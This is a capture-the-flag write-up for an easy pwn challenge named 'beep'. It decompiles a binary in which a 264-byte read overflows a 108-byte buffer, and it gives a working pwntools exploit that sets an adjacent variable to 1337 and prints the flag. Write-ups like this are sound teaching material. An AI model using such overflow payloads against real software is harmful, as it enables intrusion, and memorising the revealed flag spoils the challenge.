beep

Category
Pwn Rev
Difficulty
Easy
Description
Kenneth verkar ha problem med kommunikationen till andra system han tagit över. Harriet har nämligen hittat något slags litet testprogram vars syfte verkar vara att testa att en anslutning fungerar.
Testprogrammet verkar vara ganska minimalt, men även små program kan innehålla buggar…
Anslut till [Challenge URL removed] och testa anslutningen du också.
Om du behöver hjälp med att ansluta finns information om hur du gör för att ansluta till utmaningstjänster på informationssidan.
Harriet tror att det finns en buffer overflow i koden. Pröva att undersöka programmet med t.ex. Ghidra och gdb för att se ifall du kan knäcka buggen!
setup()-funktionen kan ignoreras då den endast sätter en timer på utmaningen samt stänger av buffering på stdin/stdout/stderr.
Provided files
beep
Solution
If we open the binary in Ghidra and look at the main
function, it looks like this:
undefined8 main(void)
{
undefined local_78 [108];
int local_c;
setup();
printf("* beeeeeeeeeeeeeeeeeeeeeeeeeeep *\n> ");
read(0,local_78,264);
if (local_c == 1337) {
system("cat flag");
}
return 0;
}
We can see that two variables are declared, local_78
and local_c
. The first one is a buffer of
108 bytes and the second one is an integer. Later in the code, we can see that the program reads 264
bytes into local_78
, which could overflow into the local_c
variable which is declared right
after it.
The program then checks if local_c
is equal to 1337 and if it is, it runs the command cat flag
.
This means that if we can overflow local_78
and set local_c
to 1337, we should get the flag.
We can do this by sending a payload that consists of 108 bytes of junk data followed by the value 1337, properly encoded as 4 bytes in little-endian format. I created a python script to achieve this:
from pwn import *
# Create payload of 108 "a" characters which are a byte each followed by the integer 1337.
payload = b"a" * 108 + p32(1337)
# Connect to the service with SSL
conn = remote("[Challenge URL removed]", 443, ssl=True, sni="[Challenge URL removed]")
# Send payload after receiving the prompt
print(conn.recvuntil(b"> ").decode())
conn.send(payload)
# Receive and print response
print(conn.recv().decode())
conn.close()
The output of the script looks like this:
[+] Opening connection to [Challenge URL removed] on port 443: Done
* beeeeeeeeeeeeeeeeeeeeeeeeeeep *
>
undut{don0td1sturbth3l0calz}
The flag is undut{don0td1sturbth3l0calz}
.
Conclusion
This challenge featured a classic buffer overflow vulnerability where we could write 264 bytes into a 108-byte buffer, allowing us to overwrite adjacent memory with our controlled data. By crafting a payload of 108 bytes of junk data followed by the integer 1337, we satisfied the condition check that revealed the flag. Through basic reverse engineering and understanding of memory layout, we successfully manipulated the program’s execution flow to access the flag.